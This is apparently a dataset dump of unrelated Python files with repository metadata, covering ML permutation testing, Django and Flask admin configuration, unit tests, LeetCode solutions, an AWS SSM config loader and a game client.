y_test = train_test_split(X, y, train_size=n, random_state=h) ## prediction and inference in full model self.reset_model() history = self.model.fit(X_train, y_train, **fit_params) ## save and load model # path_tmp = self.cp_path+'/model'+'_inf'+str(k)+'_cv'+str(h)+'.h5' # self.model.save_weights(path_tmp) # self.model.load_weights(path_tmp) ## prediction for original dataset pred_y = self.model.predict(X_test) metric_full = self.metric(y_test, pred_y) score = metric_full.mean() score_cv.append(score) score_perm = [] for l in range(self.num_perm): Z_test = self.perm_cov(X_test, k) pred_y_perm = self.model.predict(Z_test) # pred_y_perm = self.model(Z_tmp, training=False) metric_perm = self.metric(y_test, pred_y_perm) score_perm.append(metric_perm.mean()) score_perm_cv.append(score_perm) score_cv = np.array(score_cv) score_perm_cv = np.array(score_perm_cv) cv_ave_score, cv_ave_score_perm = score_cv.mean(), np.mean(score_perm_cv, axis=0) ## compute p-value print("%d th inf-feats perf score: %.3f, perf permutation score: %.3f(%.3f); num_perm: %d" %(k, cv_ave_score, cv_ave_score_perm.mean(), cv_ave_score_perm.std(), len(cv_ave_score_perm) )) p_value_tmp = (np.sum(cv_ave_score_perm <= cv_ave_score) + 1.0) / (self.num_perm + 1.0) if p_value_tmp < self.alpha: print('reject %d th H0 with p_value: %.3f' %(k, p_value_tmp)) else: print('accept %d th H0 with p_value: %.3f' %(k, p_value_tmp)) P_value.append(p_value_tmp) # return P_value self.p_values = P_value return P_value

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0

null

0

1

0

1

0

null

0

4

17b47676490f2149ca392d188665a19bb39414e1

170

py

Python

{{cookiecutter.repo_name}}/src/{{cookiecutter.django_project_name}}/apps.py

ionelmc/cookiecutter-django-docker

98a114a6fd0831d4b528bad07976787ac8ca8004

[ "Apache-2.0" ]

1

2021-11-13T15:10:04.000Z

{{cookiecutter.repo_name}}/src/{{cookiecutter.django_project_name}}/apps.py

ionelmc/cookiecutter-django-docker

98a114a6fd0831d4b528bad07976787ac8ca8004

[ "Apache-2.0" ]

null

{{cookiecutter.repo_name}}/src/{{cookiecutter.django_project_name}}/apps.py

ionelmc/cookiecutter-django-docker

98a114a6fd0831d4b528bad07976787ac8ca8004

[ "Apache-2.0" ]

1

2022-01-06T06:55:11.000Z

from django.contrib.admin.apps import AdminConfig class CustomAdminConfig(AdminConfig): default_site = '{{cookiecutter.django_project_name}}.admin.CustomAdminSite'

28.333333

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0.817647

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170

7.555556

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170

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null

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17ea96c4fcc556760829a5069c2f5e81a624bc26

1,657

py

Python

tests/test_executors.py

smartlegionlab/commandpack

b151875201ee4cb30d91f57a47c9ef8a2f01a2f7

[ "BSD-3-Clause" ]

1

2021-11-17T21:35:41.000Z

tests/test_executors.py

smartlegionlab/commandpack

b151875201ee4cb30d91f57a47c9ef8a2f01a2f7

[ "BSD-3-Clause" ]

null

tests/test_executors.py

smartlegionlab/commandpack

b151875201ee4cb30d91f57a47c9ef8a2f01a2f7

[ "BSD-3-Clause" ]

null

# -*- coding: utf-8 -*- # -------------------------------------------------------- # Licensed under the terms of the BSD 3-Clause License # (see LICENSE for details). # Copyright © 2018-2021, A.A Suvorov # All rights reserved. # ------------------------------------------------------- import os from commandpack.executors import OsExecutor, SubExecutor, Executor class TestOsExecutor: def test_execute(self, os_executor, command_status): command, status = command_status assert os_executor.execute(command) == status def test__call__(self, os_executor, command_status): command, status = command_status assert os_executor(command) == status class TestSubExecutor: def test_execute(self, sub_executor, command_status): command, status = command_status assert sub_executor.execute(command) == status def test__call__(self, sub_executor, command_status): command, status = command_status assert sub_executor(command) == status class TestExecutor: def test_execute(self, executor, command_status): command, status = command_status assert executor.execute(command) == status assert executor.os_executor(command) == status assert executor.sub_executor(command) == status assert executor.sub_executor.execute(command) == status def test__get_executor(self, executor, os_executor, sub_executor, os_name): os.name = os_name if os.name == 'posix': assert isinstance(executor._get_executor(), type(os_executor)) else: assert isinstance(executor._get_executor(), type(sub_executor))

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184

1,657

5.652174

0.282609

0.2875

0.192308

0.25

0.561538

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0.379808

0.269231

0

0.007513

0.196741

1,657

46

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36.021739

0.773103

0.162945

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false

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0

0.37931

0

null

1

0

null

0

1

0

4

17eed3394d447ad4dfb39e51feba0208270eeaa8

153

py

Python

codes_/0705_Design_HashSet.py

SaitoTsutomu/leetcode

4656d66ab721a5c7bc59890db9a2331c6823b2bf

[ "MIT" ]

null

codes_/0705_Design_HashSet.py

SaitoTsutomu/leetcode

4656d66ab721a5c7bc59890db9a2331c6823b2bf

[ "MIT" ]

null

codes_/0705_Design_HashSet.py

SaitoTsutomu/leetcode

4656d66ab721a5c7bc59890db9a2331c6823b2bf

[ "MIT" ]

null

# %% [705. Design HashSet](https://leetcode.com/problems/design-hashset/) class MyHashSet(set): remove = set.discard contains = set.__contains__

30.6

73

0.712418

18

153

5.833333

0.722222

0.247619

0

0.022727

0.137255

153

4

74

38.25

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0.464052

0

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0

1

0

null

0

1

0

4

aa33e3a7bbb06551ba3c984cc7da2a44f747d850

23

py

Python

arrow/__init__.py

galaxy-genome-annotation/python-apollo

1257e050ee3fc0a7f7ab8a8c780aefee5c8143f8

[ "MIT" ]

5

2017-06-27T19:41:57.000Z

2021-06-05T13:36:11.000Z

arrow/__init__.py

galaxy-genome-annotation/python-apollo

1257e050ee3fc0a7f7ab8a8c780aefee5c8143f8

[ "MIT" ]

28

2017-07-24T15:10:37.000Z

2021-09-03T11:56:35.000Z

arrow/__init__.py

galaxy-genome-annotation/python-apollo

1257e050ee3fc0a7f7ab8a8c780aefee5c8143f8

[ "MIT" ]

10

2017-05-10T19:13:44.000Z

2021-08-09T04:52:33.000Z

__version__ = '4.2.13'

11.5

22

0.652174

4

23

2.75

1

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0.130435

23

1

23

0.35

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0

1

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null

0

1

0

1

0

null

0

4

aa3604753b41cc5a0cab774f98f89109af994931

332

py

Python

tests/plantcv/visualize/test_colorize_label_img.py

ygarrot/plantcv

e934a891e0d1bf8987ca6a9f982a4ac1f420bfe7

[ "MIT" ]

1

2022-02-03T12:08:59.000Z

tests/plantcv/visualize/test_colorize_label_img.py

HUISTENCOFFEE/plantcv

f38f7de53663522eb770870b70823d5fc46d0c0f

[ "MIT" ]

null

tests/plantcv/visualize/test_colorize_label_img.py

HUISTENCOFFEE/plantcv

f38f7de53663522eb770870b70823d5fc46d0c0f

[ "MIT" ]

null

import numpy as np from plantcv.plantcv.visualize import colorize_label_img def test_colorize_label_img(): """Test for PlantCV.""" label_img = np.array([[1, 2, 3], [4, 5, 6], [7, 8, 9]]) colored_img = colorize_label_img(label_img) assert (colored_img.shape[0:-1] == label_img.shape) and colored_img.shape[-1] == 3

33.2

86

0.686747

55

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3.909091

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0

0.046595

0.159639

332

9

87

36.888889

0.724014

0.051205

0

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1

0.166667

false

0

0.333333

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null

1

0

1

0

null

0

1

0

4

aa3ab5713d31f14c6a24991f6f77843e3a14c2b7

471

py

Python

app/admin/daq_admin.py

quanpower/sitp

082f244dd35c5e881b332a624d4808f3e9e81a96

[ "Apache-2.0" ]

null

app/admin/daq_admin.py

quanpower/sitp

082f244dd35c5e881b332a624d4808f3e9e81a96

[ "Apache-2.0" ]

4

2020-03-24T15:46:19.000Z

2022-03-08T21:09:16.000Z

app/admin/daq_admin.py

quanpower/sitp

082f244dd35c5e881b332a624d4808f3e9e81a96

[ "Apache-2.0" ]

null

from flask_admin import Admin, BaseView, expose from flask_admin.contrib.sqla import ModelView from app.models import Temperature import flask_login as login class TemperatureModelView(ModelView): def __init__(self, session, **kwargs): # You can pass name and other parameters if you want to super(TemperatureModelView, self).__init__(Temperature, session, **kwargs) def is_accessible(self): return login.current_user.is_authenticated

31.4

82

0.764331

60

471

5.766667

0.633333

0.052023

0.080925

0

0.169851

471

14

83

33.642857

0.88491

0.112527

0

1

0.222222

false

0

0.444444

0.111111

0.888889

0

null

0

null

0

1

0

1

0

4

aa434eeae23a6a8cbf5fe3b603a79be5b0733f85

414

py

Python

problems/191.Number_of_1_Bits/li.py

subramp-prep/leetcode

d125201d9021ab9b1eea5e5393c2db4edd84e740

[ "Unlicense" ]

null

problems/191.Number_of_1_Bits/li.py

subramp-prep/leetcode

d125201d9021ab9b1eea5e5393c2db4edd84e740

[ "Unlicense" ]

null

problems/191.Number_of_1_Bits/li.py

subramp-prep/leetcode

d125201d9021ab9b1eea5e5393c2db4edd84e740

[ "Unlicense" ]

null

class Solution(object): def hammingWeight(self, n): """ :type n: int :rtype: int """ res = 0 while n: res += 1 n &= (n-1) return res def hammingWeight(self, n): for i in range(33): if not n: return i n &= (n - 1) # cheat def hammingWeight(self, n): return bin(n).count('1')

18

32

0.42029

50

414

3.48

0.5

0.275862

0.344828

0.362069

0

0.031111

0.456522

414

22

33

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0.742222

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0

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0

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1

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false

0

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0.461538

0

null

1

0

null

0

1

0

4

a4b9b34ae81930787322075904aa3296c4fefb23

1,427

py

Python

cursors/coords.py

Jonas164/PSpaMM

4941a14d6db03117c68d735c4fa78f66f327af2d

[ "BSD-3-Clause" ]

null

cursors/coords.py

Jonas164/PSpaMM

4941a14d6db03117c68d735c4fa78f66f327af2d

[ "BSD-3-Clause" ]

null

cursors/coords.py

Jonas164/PSpaMM

4941a14d6db03117c68d735c4fa78f66f327af2d

[ "BSD-3-Clause" ]

2

2020-12-09T12:46:58.000Z

2021-07-13T10:56:44.000Z

from collections import namedtuple # The relationship between blocks and cells has become too complicated to # safely bake into a coordinate system. The semantics has been moved to the # cursor movement commands. A NewCoords object may represent a logical cell, # a logical block start, or a physical block start depending on context. # We are including a {relative|absolute} flag in order to reduce the number of methods. C = namedtuple('C', 'down right absolute') C.__new__.__defaults__ = (0, 0, False) class Coords(C): def copy(self): return Coords(self.down, self.right, self.absolute) def __add__(self, other): absolute = self.absolute | other.absolute return Coords(self.down+other.down, self.right+other.right, absolute) def __sub__(self, other): absolute = self.absolute != other.absolute # TODO: What is the math behind this? return Coords(self.down-other.down, self.right-other.right, absolute) def __neg__(self, other): return Coords(-self.down, -self.right, self.absolute) def __eq__(self, other): return self.down == other.down and \ self.right == other.right and \ self.absolute == other.absolute def __repr__(self): if self.absolute: absolute = ", absolute" else: absolute = "" return "(d={},r={}{})".format(self.down, self.right,absolute)

37.552632

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0.665032

189

1,427

4.873016

0.433862

0.052117

0.070575

0.086862

0.314875

0.22367

0.128122

0

0.001826

0.232656

1,427

38

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1

0

1

0

4

a4c89ea15ba64b8b6f264c35fcaeb76de5ace39c

6,496

py

Python

reinvent-2019/connected-photo-booth/py_client/config.py

chriscoombs/aws-builders-fair-projects

eee405931030b833fa8c51e906c73d09ce051bcd

[ "Apache-2.0" ]

null

reinvent-2019/connected-photo-booth/py_client/config.py

chriscoombs/aws-builders-fair-projects

eee405931030b833fa8c51e906c73d09ce051bcd

[ "Apache-2.0" ]

null

reinvent-2019/connected-photo-booth/py_client/config.py

chriscoombs/aws-builders-fair-projects

eee405931030b833fa8c51e906c73d09ce051bcd

[ "Apache-2.0" ]

null

import boto3 import botocore import os import glob import json import requests from datetime import datetime from time import sleep from time import gmtime, strftime import sys, getopt import argparse import subprocess from shutil import copyfile, rmtree import logging import configparser __CONFIG_FILE_PATH__ = "cerebro.config" __SSM_BASE_PATH__ = "/Cerebro" class Configuration(object): def __init__(self,config_file=__CONFIG_FILE_PATH__): self.config_file = config_file self.config_parser = configparser.ConfigParser() self.config_parser.read(self.config_file) self.get_config_entries() self._ssm = boto3.client('ssm') def get_config_entries(self): self.config_entries = {} for section in self.config_parser.sections(): #print("Section: %s" % section) for item in self.config_parser.items(section): #print("Item: ") #print(item) #print(item[0], item[1]) param_name = item[0].upper() param_value = "%s/%s/%s" % (__SSM_BASE_PATH__, section, item[1]) param_dict = {param_name:param_value} #print(param_dict) self.config_entries.update(param_dict) return True def getConfig(self, configEntry): if configEntry not in self.config_entries: return None ssm_param_name = self.config_entries[configEntry] #print(ssm_param_name) response = self._ssm.get_parameter( Name=ssm_param_name ) #print(response) if ("Parameter" in response) and ("Name" in response["Parameter"]) and ("Value" in response["Parameter"]): ssm_param_value = response["Parameter"]["Value"] #print(ssm_param_value) else: return None return ssm_param_value ''' config_entry = self.config_parser.get("Cerebro", configEntry) print(config_entry) if "ssm:" in config_entry: # then this means that we need to retrieve the actual value from the SSM Param store config_entry = "foobar" return config_entry ''' @property def __QUEUE_URL__(self): return self.getConfig("__QUEUE_URL__") @property def __SQS_QUEUE_NAME__(self): return self.getConfig("__SQS_QUEUE_NAME__") @property def __SQS_BACKEND_QUEUE__(self): return self.getConfig("__SQS_BACKEND_QUEUE__") @property def __APIGW_X_API_KEY__(self): return self.getConfig("__APIGW_X_API_KEY__") @property def __APIGW_X_API_KEY_QR_CODE__(self): return self.getConfig("__APIGW_X_API_KEY_QR_CODE__") @property def __APIGW_API__(self): return self.getConfig("__APIGW_API__") @property def __APIGW_API_QR_CODE__(self): return self.getConfig("__APIGW_API_QR_CODE__") @property def __S3_BUCKET__(self): return self.getConfig("__S3_BUCKET__") @property def __CEREBRO_TEMP_DIR__(self): return self.getConfig("__CEREBRO_TEMP_DIR__") @property def __CEREBRO_MEDIA_DIR__(self): return self.getConfig("__CEREBRO_MEDIA_DIR__") @property def __CEREBRO_LOGS_DIR__(self): return self.getConfig("__CEREBRO_LOGS_DIR__") @property def __CEREBRO_PROFILES_DIR__(self): return self.getConfig("__CEREBRO_PROFILES_DIR__") @property def __CEREBRO_SYSTEM_DIR__(self): return self.getConfig("__CEREBRO_SYSTEM_DIR__") @property def __IMAGE_MAX_COUNT__(self): return int(self.getConfig("__IMAGE_MAX_COUNT__")) @property def __GREEN_LED__(self): return int(self.getConfig("__GREEN_LED__")) @property def __GREEN_BUTTON__(self): return int(self.getConfig("__GREEN_BUTTON__")) @property def __YELLOW_LED__(self): return int(self.getConfig("__YELLOW_LED__")) @property def __YELLOW_BUTTON__(self): return int(self.getConfig("__YELLOW_BUTTON__")) @property def __IOT_TOPIC__(self): return self.getConfig("__IOT_TOPIC__") @property def __IOT_HOST__(self): return self.getConfig("__IOT_HOST__") @property def __IOT_ROOT_CA_PATH__(self): return self.getConfig("__IOT_ROOT_CA_PATH__") @property def __IOT_CERTIFICATE_PATH__(self): return self.getConfig("__IOT_CERTIFICATE_PATH__") @property def __IOT_PRIVATE_KEY_PATH__(self): return self.getConfig("__IOT_PRIVATE_KEY_PATH__") @property def __IOT_CLIENT_ID_REQUESTER__(self): return self.getConfig("__IOT_CLIENT_ID_REQUESTER__") @property def __IOT_CLIENT_ID_PROCESSOR__(self): return self.getConfig("__IOT_CLIENT_ID_PROCESSOR__") @property def __CEREBRO_AUDIO_DIR__(self): return self.getConfig("__CEREBRO_AUDIO_DIR__") @property def __PUSHBUTTON_DELAY__(self): return int(self.getConfig("__PUSHBUTTON_DELAY__")) @property def __S3_BUCKET__(self): return self.getConfig("__S3_BUCKET__") @property def __ACCEPT_INPUT__(self): return int(self.getConfig("__ACCEPT_INPUT__")) @property def __CHOOSE_AGAIN__(self): return int(self.getConfig("__CHOOSE_AGAIN__")) @property def __CADENCE__(self): return int(self.getConfig("__CADENCE__")) @property def __DDB_TABLE__(self): return self.getConfig("__DDB_TABLE__") @property def __PRINTER_TYPE__(self): return self.getConfig("__PRINTER_TYPE__") @property def __FILTERED_IMAGE_NAME__(self): return self.getConfig("__FILTERED_IMAGE_NAME__") @property def __PIG_NOSE_FILTER__(self): return self.getConfig("__PIG_NOSE_FILTER__") @property def __FLOWER_CROWN_FILTER__(self): return self.getConfig("__FLOWER_CROWN_FILTER__") @property def __EYE_MASK_FILTER__(self): return self.getConfig("__EYE_MASK_FILTER__") @property def __DOG_NOSE_FILTER__(self): return self.getConfig("__DOG_NOSE_FILTER__") @property def __DOG_LEFT_EAR_FILTER__(self): return self.getConfig("__DOG_LEFT_EAR_FILTER__") @property def __DOG_RIGHT_EAR_FILTER__(self): return self.getConfig("__DOG_RIGHT_EAR_FILTER__") @property def __DOG_TONGUE_FILTER__(self): return self.getConfig("__DOG_TONGUE_FILTER__")

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749

6,496

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0.117493

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6,496

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0

1

0

null

0

1

0

1

0

4

a4f4cc7885a15a585587ac425f24ba1f7aec8ca1

3,560

py

Python

src/components/client/logica/logica_client.py

adp1002/practica-dms-2019-2020

9ae0c71140d537bb43c0f8ec8a81b8fff38dec21

[ "MIT" ]

null

src/components/client/logica/logica_client.py

adp1002/practica-dms-2019-2020

9ae0c71140d537bb43c0f8ec8a81b8fff38dec21

[ "MIT" ]

null

src/components/client/logica/logica_client.py

adp1002/practica-dms-2019-2020

9ae0c71140d537bb43c0f8ec8a81b8fff38dec21

[ "MIT" ]

null

from conexiones.auth_client import AuthClient from conexiones.hub_client import HubClient from conexiones.game_client import GameClient """ Clase LogicaCliente es un clase con metodos estaticos. Es la clase que lleva la logica y la que se comunica con la capa de datos. """ class LogicaCliente: """ Registra al usuario actual en el servidor --- Parameters: - username: Nombre del usuario a registrar - password: Contraseña del usuario a registrar Returns: True si el jugador se ha registrado correctamente, si no, False. """ @staticmethod def registrar_usuario(username,password): return AuthClient.instance().registrar(username,password) """ Loguea al usuario actual --- Parameters: - username: Nombre del usuario a loguear - password: Contraseña del usuario a loguear Returns: El token de validacion del usuario en caso de que se haya logueado corectamente, si no, None. """ @staticmethod def loguear_usuario(username,password): token = AuthClient.instance().login(username,password) return token """ Obtiene la lista de servidores --- Returns: Un array con la información del servidor escogido """ @staticmethod def obtener_servidores(token): return HubClient.instance().get_servers(token) """ Registra al usuario del token en el servidor pasado por parametro --- Parameters: - token: El token del usuario que realiza la petición - servidor_seleccionado: El servidor seleccionado para registrar al usuario Returns: El servidor de juego en el que se ha registrado el jugador, None si ha surgido un error. """ @staticmethod def registrarse_en_servidor(token,servidor_seleccionado): servidor_de_juego = GameClient(servidor_seleccionado['host'],servidor_seleccionado['port']) if((servidor_de_juego is None) or (not servidor_de_juego.registrar_usuario_en_servidor(token))): print('\nHa ocurrido un error al intentar entrar al servidor. Intenta probar en un nuevo servidor.\n') return None else: return servidor_de_juego """ Mantiene el curso de la partida de un jugador --- Parameters: - token: El token del usuario que va a jugar - servidor_seleccionado: el servidor seleccionado en el que va a jugando el usuario - x: Coordenada X donde poner la pieza - token: Coordenda Y donde poner la pieza Returns: El servidor de juego en el que se ha registrado el jugador, None si ha surgido un error. """ @staticmethod def realizar_jugada(token,servidor_de_juego,x,y): se_ha_realizado_jugada = servidor_de_juego.jugar(token,x,y) return se_ha_realizado_jugada """ Manda la señal de que el usuario ha finalizado la partida --- Parameters: - token: El token del usuario que va a jugar - servidor_seleccionado: el servidor seleccionado en el que va a jugando el usuario Returns: True si el servidor ha recibido la petición, si no, False. """ @staticmethod def finalizar_partida(token,servidor_seleccionado): return servidor_seleccionado.finalizar_partida(token) """ Obtiene el score actual --- Returns: El score actual """ @staticmethod def get_score(): return AuthClient.instance().get_score()

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null

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1

0

1

0

1

0

4

a4f8c498ac79bb7c4f62a12a791b6d722f785086

267

py

Python

backend/dynamicanalysis/codecoverage/serializers.py

IsmatAl/thesisProject

1134ae3727d489f606e99625b14897a766409b73

[ "Apache-2.0" ]

1

2021-07-03T16:44:18.000Z

backend/dynamicanalysis/codecoverage/serializers.py

IsmatAl/thesisProject

1134ae3727d489f606e99625b14897a766409b73

[ "Apache-2.0" ]

null

backend/dynamicanalysis/codecoverage/serializers.py

IsmatAl/thesisProject

1134ae3727d489f606e99625b14897a766409b73

[ "Apache-2.0" ]

null

from rest_framework import serializers class CodeCoverageSerializer(serializers.Serializer): entry = serializers.CharField() # id = serializers.CharField() # inputs = serializers.ListField() # expectedOutputs = serializers.ListField(required=False)

29.666667

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8.826087

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0.146067

267

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0.438202

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1

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false

0

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null

0

1

0

null

0

1

0

1

0

4

a4faaf198608f9edc4e9ccfccf1245286f8062a9

3,300

py

Python

z2/part3/updated_part2_batch/jm/parser_errors_2/507857314.py

kozakusek/ipp-2020-testy

09aa008fa53d159672cc7cbf969a6b237e15a7b8

[ "MIT" ]

1

2020-04-16T12:13:47.000Z

z2/part3/updated_part2_batch/jm/parser_errors_2/507857314.py

kozakusek/ipp-2020-testy

09aa008fa53d159672cc7cbf969a6b237e15a7b8

[ "MIT" ]

18

2020-03-06T17:50:15.000Z

2020-05-19T14:58:30.000Z

z2/part3/updated_part2_batch/jm/parser_errors_2/507857314.py

kozakusek/ipp-2020-testy

09aa008fa53d159672cc7cbf969a6b237e15a7b8

[ "MIT" ]

18

2020-03-06T17:45:13.000Z

2020-06-09T19:18:31.000Z

from part1 import ( gamma_board, gamma_busy_fields, gamma_delete, gamma_free_fields, gamma_golden_move, gamma_golden_possible, gamma_move, gamma_new, ) """ scenario: test_random_actions uuid: 507857314 """ """ random actions, total chaos """ board = gamma_new(5, 4, 4, 3) assert board is not None assert gamma_move(board, 1, 3, 1) == 1 assert gamma_move(board, 2, 2, 4) == 0 assert gamma_move(board, 2, 1, 0) == 1 board295535068 = gamma_board(board) assert board295535068 is not None assert board295535068 == (".....\n" ".....\n" "...1.\n" ".2...\n") del board295535068 board295535068 = None assert gamma_move(board, 3, 4, 0) == 1 assert gamma_move(board, 4, 3, 2) == 1 assert gamma_golden_possible(board, 4) == 1 assert gamma_move(board, 1, 3, 1) == 0 assert gamma_free_fields(board, 1) == 16 assert gamma_golden_possible(board, 2) == 1 assert gamma_move(board, 3, 3, 3) == 1 assert gamma_golden_possible(board, 4) == 1 assert gamma_move(board, 1, 2, 4) == 0 assert gamma_move(board, 1, 2, 2) == 1 assert gamma_move(board, 2, 1, 4) == 0 assert gamma_move(board, 2, 3, 3) == 0 assert gamma_move(board, 3, 0, 0) == 1 assert gamma_move(board, 3, 3, 0) == 1 board993913590 = gamma_board(board) assert board993913590 is not None assert board993913590 == ("...3.\n" "..14.\n" "...1.\n" "32.33\n") del board993913590 board993913590 = None assert gamma_move(board, 4, 1, 4) == 0 assert gamma_move(board, 1, 3, 1) == 0 assert gamma_move(board, 2, 3, 1) == 0 assert gamma_move(board, 3, 1, 0) == 0 assert gamma_move(board, 4, 3, 1) == 0 assert gamma_move(board, 4, 4, 3) == 1 assert gamma_move(board, 1, 3, 3) == 0 assert gamma_move(board, 2, 0, 2) == 1 board946766181 = gamma_board(board) assert board946766181 is not None assert board946766181 == ("...34\n" "2.14.\n" "...1.\n" "32.33\n") del board946766181 board946766181 = None assert gamma_move(board, 3, 4, 1) == 1 assert gamma_move(board, 4, 4, 2) == 1 assert gamma_move(board, 1, 3, 3) == 0 assert gamma_free_fields(board, 1) == 8 assert gamma_move(board, 2, 2, 2) == 0 assert gamma_move(board, 3, 0, 2) == 0 assert gamma_move(board, 4, 2, 3) == 1 assert gamma_move(board, 1, 1, 0) == 0 assert gamma_move(board, 2, 2, 1) == 1 assert gamma_move(board, 2, 0, 2) == 0 assert gamma_move(board, 3, 4, 0) == 0 assert gamma_move(board, 3, 0, 2) == 0 assert gamma_move(board, 4, 0, 0) == 0 assert gamma_golden_move(board, 4, 0, 0) == 1 assert gamma_move(board, 1, 2, 1) == 0 assert gamma_golden_move(board, 1, 0, 4) == 0 assert gamma_move(board, 2, 2, 1) == 0 assert gamma_move(board, 3, 4, 2) == 0 assert gamma_busy_fields(board, 4) == 5 assert gamma_move(board, 1, 1, 0) == 0 assert gamma_free_fields(board, 1) == 6 assert gamma_move(board, 2, 2, 1) == 0 assert gamma_move(board, 2, 0, 2) == 0 assert gamma_golden_possible(board, 2) == 1 assert gamma_move(board, 3, 1, 1) == 1 assert gamma_golden_move(board, 3, 0, 4) == 0 assert gamma_move(board, 4, 1, 0) == 0 assert gamma_move(board, 4, 2, 2) == 0 assert gamma_move(board, 1, 1, 0) == 0 assert gamma_move(board, 1, 2, 2) == 0 assert gamma_move(board, 2, 1, 1) == 0 assert gamma_move(board, 3, 3, 1) == 0 assert gamma_move(board, 3, 1, 0) == 0 assert gamma_move(board, 4, 0, 1) == 1 gamma_delete(board)

28.695652

46

0.658788

585

3,300

3.564103

0.073504

0.311271

0.345324

0.460432

0.708873

0.691127

0.609592

0.415348

0.370743

0

0.144231

0.180606

3,300

114

47

28.947368

0.626849

0

0.25

0

0.026152

0

0.6875

1

0

false

0

0.010417

0

0.010417

0

null

1

0

null

0

1

0

4

350ab29d99cc59e572eb6ccbaca5d0a2e6b4cab3

220

py

Python

testing/slices.py

aheadley/pynemap

f2aa373e7c43755ce73c0a60110b609018cd2dcb

[ "MIT" ]

6

2015-10-15T08:28:19.000Z

2021-11-17T23:02:02.000Z

testing/slices.py

aheadley/pynemap

f2aa373e7c43755ce73c0a60110b609018cd2dcb

[ "MIT" ]

null

testing/slices.py

aheadley/pynemap

f2aa373e7c43755ce73c0a60110b609018cd2dcb

[ "MIT" ]

null

#!/usr/bin/python import numpy import nbt blocks = numpy.fromstring(nbt.NBTFile('/home/aheadley/.minecraft/saves/World1/0/0/c.0.0.dat','rb')['Level']['Blocks'].value, dtype=numpy.uint8).reshape(16,16,128) print blocks

27.5

162

0.731818

36

220

4.472222

0.722222

0.024845

0

0.062802

0.059091

220

7

163

31.428571

0.714976

0.072727

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0.25

0.320197

0.256158

0

null

0

0.5

null

0.25

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null

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1

0

1

0

null

0

1

0

1

0

4

3513092c9bf86ec661f011c1fc0cce874d87f4b7

223

py

Python

python/hard_python/guess/method.py

ii6uu99/ipynb

d924a6926838ca5e563620cd324368a07d2c2521

[ "MIT" ]

1

2021-01-27T09:01:33.000Z

python/hard_python/guess/method.py

ii6uu99/ipynb

d924a6926838ca5e563620cd324368a07d2c2521

[ "MIT" ]

null

python/hard_python/guess/method.py

ii6uu99/ipynb

d924a6926838ca5e563620cd324368a07d2c2521

[ "MIT" ]

1

2021-01-26T13:22:21.000Z

#引入模块 # import method2 # method2.a # method2.f1() # import method2 as m2 # m2.a # m2.f1() # from method2 import f1 # f1() # from method2 import f1 as func1 # func1() from method2 import * f1() f2() print(a)

6.96875

33

0.61435

34

223

4.029412

0.323529

0.240876

0.372263

0.416058

0.306569

0

0.113772

0.251121

223

31

34

7.193548

0.706587

0.64574

0

1

0

true

0

0.25

0

0.25

0

null

1

0

null

0

1

0

4

351c290975642794a8ae565c249dd3371ea5bd7c

92

py

Python

choice/apps.py

prayogateguh/smk-quiz

e3651ba140eb884f604ab398f966f635210ee8dc

[ "MIT" ]

null

choice/apps.py

prayogateguh/smk-quiz

e3651ba140eb884f604ab398f966f635210ee8dc

[ "MIT" ]

null

choice/apps.py

prayogateguh/smk-quiz

e3651ba140eb884f604ab398f966f635210ee8dc

[ "MIT" ]

null

from django.apps import AppConfig class ChoiceConfig(AppConfig): name = 'choice'

15.333333

34

0.706522

10

92

6.5

0.9

0

0.217391

92

5

35

18.4

0.902778

0

0.068966

0

1

0

false

0

0.333333

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

4

1050815029404386ec86242bbba7a2c4918b6da1

1,304

py

Python

test/test_edit_pdf_api.py

Cloudmersive/Cloudmersive.APIClient.Python.Convert

dba2fe7257229ebdacd266531b3724552c651009

[ "Apache-2.0" ]

3

2018-07-25T23:04:34.000Z

2021-08-10T16:43:10.000Z

test/test_edit_pdf_api.py

Cloudmersive/Cloudmersive.APIClient.Python.Convert

dba2fe7257229ebdacd266531b3724552c651009

[ "Apache-2.0" ]

3

2020-11-23T10:46:48.000Z

2021-12-30T14:09:34.000Z

test/test_edit_pdf_api.py

Cloudmersive/Cloudmersive.APIClient.Python.Convert

dba2fe7257229ebdacd266531b3724552c651009

[ "Apache-2.0" ]

2

2020-01-07T09:48:01.000Z

2020-11-23T10:47:00.000Z

# coding: utf-8 """ convertapi Convert API lets you effortlessly convert file formats and types. # noqa: E501 OpenAPI spec version: v1 Generated by: https://github.com/swagger-api/swagger-codegen.git """ from __future__ import absolute_import import unittest import cloudmersive_convert_api_client from cloudmersive_convert_api_client.api.edit_pdf_api import EditPdfApi # noqa: E501 from cloudmersive_convert_api_client.rest import ApiException class TestEditPdfApi(unittest.TestCase): """EditPdfApi unit test stubs""" def setUp(self): self.api = cloudmersive_convert_api_client.api.edit_pdf_api.EditPdfApi() # noqa: E501 def tearDown(self): pass def test_edit_pdf_encrypt(self): """Test case for edit_pdf_encrypt Encrypt and password-protect a PDF # noqa: E501 """ pass def test_edit_pdf_set_permissions(self): """Test case for edit_pdf_set_permissions Encrypt, password-protect and set restricted permissions on a PDF # noqa: E501 """ pass def test_edit_pdf_watermark_text(self): """Test case for edit_pdf_watermark_text Add a text watermark to a PDF # noqa: E501 """ pass if __name__ == '__main__': unittest.main()

23.285714

94

0.690184

168

1,304

5.071429

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0.103286

0.131455

0.326291

0.244131

0.166667

0.070423

0

0.02006

0.235429

1,304

55

95

23.709091

0.834504

0.407209

0

0.222222

1

0

0.011905

0

1

0.277778

false

0.222222

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0

0.611111

0

null

0

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null

0

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0

1

0

1

0

4

10674c916241b57388d3f501422e14c2fee1c34a

158

py

Python

aspyrobot/__init__.py

AustralianSynchrotron/pyrobot

a1b2b8fa02b6757ae22a4deb776cd9ae14ed45fe

[ "MIT" ]

4

2019-10-08T19:24:13.000Z

2020-10-21T05:41:27.000Z

aspyrobot/__init__.py

AustralianSynchrotron/pyrobot

a1b2b8fa02b6757ae22a4deb776cd9ae14ed45fe

[ "MIT" ]

1

2020-01-06T22:03:44.000Z

aspyrobot/__init__.py

AustralianSynchrotron/pyrobot

a1b2b8fa02b6757ae22a4deb776cd9ae14ed45fe

[ "MIT" ]

2

2016-07-20T00:00:11.000Z

2018-04-08T08:49:07.000Z

from .robot import Robot from .server import RobotServer from .client import RobotClient __version__ = '0.17.0' __all__ = [Robot, RobotServer, RobotClient]

19.75

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0.778481

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158

5.75

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0.139241

158

7

44

22.571429

0.816176

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null

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1

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null

0

1

0

1

0

4

10830a95d33d248d287d61fff5418688e9181127

151

py

Python

Problem/PeopleFund/itertools_permutations().py

yeojin-dev/coding-test

30ce8507838beaa9232c6fc6c62a7dcb62d51464

[ "MIT" ]

2

2018-07-11T08:13:06.000Z

